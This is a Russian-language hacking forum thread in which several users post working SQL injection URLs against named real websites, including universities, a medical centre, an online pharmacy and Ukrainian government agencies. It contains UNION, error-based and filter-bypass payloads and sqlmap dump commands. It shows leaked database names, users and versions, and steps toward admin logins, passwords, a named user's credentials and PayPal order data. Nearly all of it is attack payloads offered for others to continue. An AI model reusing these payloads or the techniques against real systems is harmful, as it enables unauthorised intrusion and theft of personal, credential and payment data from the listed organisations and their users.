SQL Инъекции

sepo · 28 Nov 2018

Code:

http://www.exxiasports.com/eventos.php?id=-2+union+select+1,2,3,4,5,6,7,8,9,10--

Code:

http://www.exxiasports.com/eventos.php?id=-2+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10--

sepo · 1 Dec 2018

Code:

http://www.nichegardens.com/catalog/item.php?id=-1235+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--

Code:

http://www.nichegardens.com/catalog/item.php?id=-1235+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--

sepo · 2 Dec 2018

John Lawrence Detwiler Memorial Library - Adventist University of the Philippines

Code:

http://jldmlibrary.aup.edu.ph/subcontent.php?id=-5+union+select+1,2,3,4,5--

Code:

http://jldmlibrary.aup.edu.ph/subcontent.php?id=-5+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5--

Code:

http://jldmlibrary.aup.edu.ph/subcontent.php?id=-5+union+select+1,table_name,3,4,5+from+information_schema.tables+limit+37,8--

Code:

http://jldmlibrary.aup.edu.ph/subcontent.php?id=-5+union+select+1,column_name,3,4,5+from+information_schema.columns+where+table_name=%27user%27+limit+0,3--

Code:

http://jldmlibrary.aup.edu.ph/subcontent.php?id=-5+union+select+1,username,3,4,5+from+user+limit+0,1--

Code:

http://jldmlibrary.aup.edu.ph/subcontent.php?id=-5+union+select+1,password,3,4,5+from+user+limit+0,1--

sepo · 21 Dec 2018

International Leasing Securities Ltd.

Версия БД:

Code:

http://www.ilslbd.com/content.php?Id=1%27or(ExtractValue(1,concat(0x3a,(select(version())))))=%271

находим нужную таблицу:

Code:

http://www.ilslbd.com/content.php?Id=-1%27+UNION+select+1,2,convert(table_name%20using%20latin1)+from+information_schema.tables+limit+45,1+--+

играемся с лимитом и получаем нужную колонку:

Code:

http://www.ilslbd.com/content.php?Id=-1%27+UNION+select+1,2,convert(column_name%20using%20latin1)+from+information_schema.columns+where+table_name=%27admin%27+limit+3,1+--+

получаем админский логин

Code:

http://www.ilslbd.com/content.php?Id=-1%27+UNION+select+1,2,convert(UserName%20using%20latin1)+from+admin+limit+0,1+--+

ну а дальше сами...

DezMond™ · 24 Dec 2018

Code:

http://www.ub.edu/aqr/fitxa-persones_en.php?id=-8+/*!12345uNIoN*/+/*!12345sELecT*/+1,2,3,user()+--+

DezMond™ · 3 Jan 2019

https://www.uni-hohenheim.de/politm...l.php?id=-25+union+select+1,2,3,4,5,6,7,8+--+

sepo · 3 Jan 2019

Докрутил ))

Code:

https://www.uni-hohenheim.de/politmonitor/analysen_detail.php?id=-25+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8+--+

Code:

https://www.uni-hohenheim.de/politmonitor/analysen_detail.php?id=-25+union+select+1,table_name,3,4,5,6,7,8+from+information_schema.tables+limit+17,1+--+

==================================

и кое-что от себя:
Iraq Parliament Monitor

Code:

http://www.miqpm.com/new/English/News.php?ID=-1+union+select+1,2,3,4,5--

Code:

http://www.miqpm.com/new/English/News.php?ID=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5--

Code:

http://www.miqpm.com/new/English/News.php?ID=-1+union+select+1,2,table_name,4,5+from+information_schema.tables+limit+0,77--

sepo · 4 Jan 2019

Dr. Khuroo’s Medical Centre

Code:

http://www.drkhuroo.in/news.php?id=-9%27+/*!12345uNIoN*/+/*!12345sELecT*/+1,2,3,4,5,6,7,8+--+

Code:

http://www.drkhuroo.in/news.php?id=-9%27+/*!12345uNIoN*/+/*!12345sELecT*/+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8+--+

Code:

http://www.drkhuroo.in/news.php?id=-9%27+/*!12345uNIoN*/+/*!12345sELecT*/+1,table_name,3,4,5,6,7,8+from+information_schema.tables+limit+90,1+--+

sepo · 5 Jan 2019

Aayojan School of Architecture

Code:

http://www.aayojan.edu.in/jaipur/events_detail.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10--

Code:

http://www.aayojan.edu.in/jaipur/events_detail.php?id=-1+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user()),9,10--

Code:

http://www.aayojan.edu.in/jaipur/events_detail.php?id=-1+union+select+1,2,3,4,5,6,7,table_name,9,10+from+information_schema.tables+limit%2059,1--

Code:

http://www.aayojan.edu.in/jaipur/events_detail.php?id=-1+union+select+1,2,3,4,5,6,7,column_name,9,10+from+information_schema.columns+where+table_name=%27admin_login%27+limit%203,5--

sepo · 5 Jan 2019

The Regional Center for Social Science and Sustainble Development
Chiang Mai University

Code:

http://rcsd.soc.cmu.ac.th/home/index.php?button=Submit&ptype=-3+union+select+1,2,3,4,5,6,7,8,9,10,11,12+--+&sfile=publication

Code:

http://rcsd.soc.cmu.ac.th/home/index.php?button=Submit&ptype=-3+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12+--+&sfile=publication

Code:

http://rcsd.soc.cmu.ac.th/home/info.php

P.S. Дальше было лень...

sepo · 6 Jan 2019

ОАО «Брест - ВТИ»

Code:

http://brestvti.by/product.php?id=-115+union+select+1,2,3,4,5,6--

Code:

http://brestvti.by/product.php?id=-115+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6--

BenderMR · 25 Feb 2019

Actuaries

Code:

http://www.actuaries.org.hk/education.php?id=13%27%20union%20select%201,%27table%27,3,concat_ws(0x7C,user(),database(),%20version()),5,6,7,8,9,10,11,12,13,14,15,16,17,18--+#

actuarie_db@localhost|actuarie_db|5.7.25

lltours

Code:

http://www.lltours.com.ve/hoteles/ficha-promo.php?id=69%20and%20false%20union%20select%201,2,3,concat_ws(0x7C,user(),database(),%20version()),5,6,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34

lltourssysweb@localhost|lltours|5.5.62-0+deb8u1

Aryapg College

Code:

https://www.aryapgcollege.com/event.php?id=67%20and%200=1%20union%20select%201,2,%27tables%27,concat_ws(0x7C,user(),database(),%20version()),5

aryapgco_a9p8g7c@localhost|aryapgco_collegepgarya9649|10.0.38-MariaDB

BenderMR · 25 Feb 2019

WignWeave стоит за Mod_Security
Code:
http://www.wignweave.com/event.php?id=-34+/*!50000union*/+/*!50000select*/+1,2,%203,4,5,concat_ws(0x7C,user(),database(),version())--+
wignweav_shop@localhost|wignweav_shop|5.6.41-84.1

BenderMR · 27 Feb 2019

Sprint15

Code:

https://www.sprint15.com/events/EMS/event.php?id=173%20and%20false%20union%20select%201,2,3,4,5,6,7,8,9,10,concat_ws(0x7C,user(),database(),%20version()),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40--+

uspr_191808_0002@localhost|sprint15com_191808_db2|5.5.62

Gl Bajaj Institute

Code:

http://www.glbimr.org/event.php?id=-55%27%20union%20select%201,concat_ws(0x7C,user(),database(),version()),3--+

glbimrfeb2019@localhost|glbimr_org_feb21|5.6.43

BenderMR · 28 Feb 2019

Great Canadian Healthcare Mall
Вывода на страницу нет. Выводит в src аттрибут img тега.

Code:

view-source:http://greatcanadianhealthcaremall.com/product.php?id=-482%27%20/*!50000uNiOn*/%20/*!50000select*/%20%27im%20here2%27,2,3,4,concat_ws('|',current_user,@@version),6,7,8,9,10%20--%20&ptab=description&title=Nitroglycerin

canazqik_user@localhost | 10.1.37-MariaDB-cll-lve

Отфильтровывает многие функции, в том числе database()

Code:

view-source:http://greatcanadianhealthcaremall.com/product.php?id=-482%27%20/*!50000uNiOn*/%20/*!50000select*/%20%27im%20here2%27,2,3,4,/*!50000sCheMA_naMe*/,6,7,8,9,10 from%20/*!50000infoRmaTioN_scHeMa.sCheMatA*/--%20&ptab=description&title=Nitroglycerin

canazqik_db

Берем все таблицы

Code:

view-source:http://greatcanadianhealthcaremall.com/product.php?id=-482%27%20/*!50000uNiOn*/%20/*!50000select*/%20%27im%20here2%27,2,3,4,/*!50000group_concat(table_name)*/,6,7,8,9,10 from%20/*!50000infoRmaTioN_scHeMa.tables*/ where table_schema='canazqik_db'--%20&ptab=description&title=Nitroglycerin

Считаем что там вообще есть

Code:

view-source:http://greatcanadianhealthcaremall.com/product.php?id=-482%27%20/*!50000uNiOn*/%20/*!50000select*/%20%27im%20here2%27,2,3,4,/*!50000count(*)*/,6,7,8,9,10 from%20orders where length(paypaldata)>3--%20&ptab=description&title=Nitroglycerin

Astinsriwedarisolo

Code:

http://www.astinsriwedarisolo.com/product.php?id=-111111111111111111111111111%27%20union%20select%20%271%27,concat_ws(%27|%27,%20database(),user(),version()),%273%27,%274%27,%275%27,%276%27--+

astin|astin@localhost|5.5.44

Code:

http://www.astinsriwedarisolo.com/product.php?id=-1%27%20union%20select%20%271%27,group_concat(column_name,0x0a)%20,%273%27,%274%27,%275%27,%276%27%20from%20information_schema.columns%20where%20table_schema%20like%20database()%20and%20table_name=%27arf_member%27--+

Для тех кому не лень с переводчиком сидеть

Miyabi

Code:

http://www.miyabi.com.au/item.php?id=281%20and%201%3E2%20union%20select%201,2,3,4,5,6,7,concat_ws(%27|%27,user(),database(),version()),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--+

[email protected]|driving_miyabi|5.7.21-log

Code:

http://www.miyabi.com.au/item.php?id=281%20and%201%3E2%20union%20select%201,2,3,4,5,6,7,user(),group_concat(column_name,0x0a),10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27MEMBER%27--+

BenderMR · 9 Mar 2019

WebLoadmpStore

Code:

http://www.webloadmpstore.com/product.php?id=-3%20/*!12345uNioN*/+/*!12345SeLeCt*/+1,2,concat_ws(0x7c,database(),user(),version()),4,5,6,7

webloadm_new|webloadm_new@localhost|5.6.39-83.1

Corbett Foundation

Code:

http://www.corbettfoundation.org/product.php?id=-53%20union%20select%201,2,3,4,5,6,concat_ws(%27|%27,database(),user(),version()),8,9,10,11&cat=&subcat=

corbettf_org|corbettf_org@localhost|5.6.43

Go Healthy

Code:

https://gohealthy.co.za/product.php?id=-612%27%20union%20select%201,concat_ws(%27|%27,user(),database(),version()),group_concat(table_name,0x0a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20information_schema.tables%20where%20table_schema=database()--+

[email protected]1.host-h.net|goheadbwpz_db1|10.1.38-MariaDB-1~jessie

BenderMR · 4 Apr 2019

И так сливаю данную скулю найденную на smotra.ru, так как мое обращение к ним было проигнорировано.
Code:
sqlmap -u http://smotra.ru/market/cat/11*/ -D sm_test --dbms mysql --sql-shell --random-agent
DB: sm_test
USER: sm_test@localhost
VERSION: 5.1.73

И вот собственно Эрик:

Code:

sqlmap -u 'http://smotra.ru/market/cat/11*/' -D sm_test -T users -C email, password --where="slug='erik_davidych'" --dump --dbms mysql --random-agent

BenderMR · 7 Apr 2019

Фискальная служба Украины
Code:
http://sfs.gov.ua/registration.php?search=area&hregion_id=2 and extractvalue(0x0a,concat(0x0a,(select concat_ws(0x7c,database(),user(),version())  )))
XPATH syntax error: ' site|[email protected]|5.1.73'

И сразу быстрый вопрос. При появлении слова FROM сразу получается ошибка синтаксиса. Не могу дальше никак пройти.
Собственно сам вопрос: это действительно какая то ошибка синтаксиса или там такого рода фильтрация?
И как вообще эту дичь обойти, потому что не первый раз стопорится именно на FROM и ничего не заходит. Хакеры, подскажите

BenderMR · 7 Apr 2019

Національна Академія Аграрних наук України
Code:
http://imesg.gov.ua/info/index.php?id=41

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=41' AND 2988=2988 AND 'ouFu'='ouFu

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=41' AND SLEEP(5) AND 'cnAl'='cnAl
VERSION: 5.6.34
USER: imesg_db_utf@localhost
DB: imesg_db_utf

Управление труда и социальной защиты населения Хмельницкого городского совета
Code:
https://soczahist.khm.gov.ua/index.php?ID=-423%20union%20select%20concat_ws(0x7c,database(),version(),user()),group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()
soczahis_soczah|5.5.53|soczahis_soczah@localhost

Что то с оборотом наркотиков и их лицензии

Code:

http://usuan.dls.gov.ua/filial.php?id=-4347%20union%20select%201,concat_ws(0x7c,%20database(),user(),%20version()),3,4,5,6,7,8,9,11,12,13,14

usuan|5.6.38|usuan@localhost

sepo · 8 Apr 2019

Code:

http://www.blubud.it/eng/news.php?id=-88+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7--

SQL Инъекции

sepo Member

sepo Member

sepo Member

sepo Member

DezMond™ Elder - Старейшина

DezMond™ Elder - Старейшина

sepo Member

sepo Member

sepo Member

sepo Member

sepo Member

BenderMR Member

BenderMR Member

BenderMR Member

BenderMR Member

BenderMR Member

BenderMR Member

BenderMR Member

BenderMR Member

sepo Member

Useful Searches

SQL Инъекции

sepo Member

sepo Member

sepo Member

sepo Member

DezMond™ Elder - Старейшина

DezMond™ Elder - Старейшина

sepo Member

sepo Member

sepo Member

sepo Member

sepo Member

BenderMR Member

BenderMR Member

BenderMR Member

BenderMR Member

BenderMR Member

BenderMR Member

BenderMR Member

BenderMR Member

sepo Member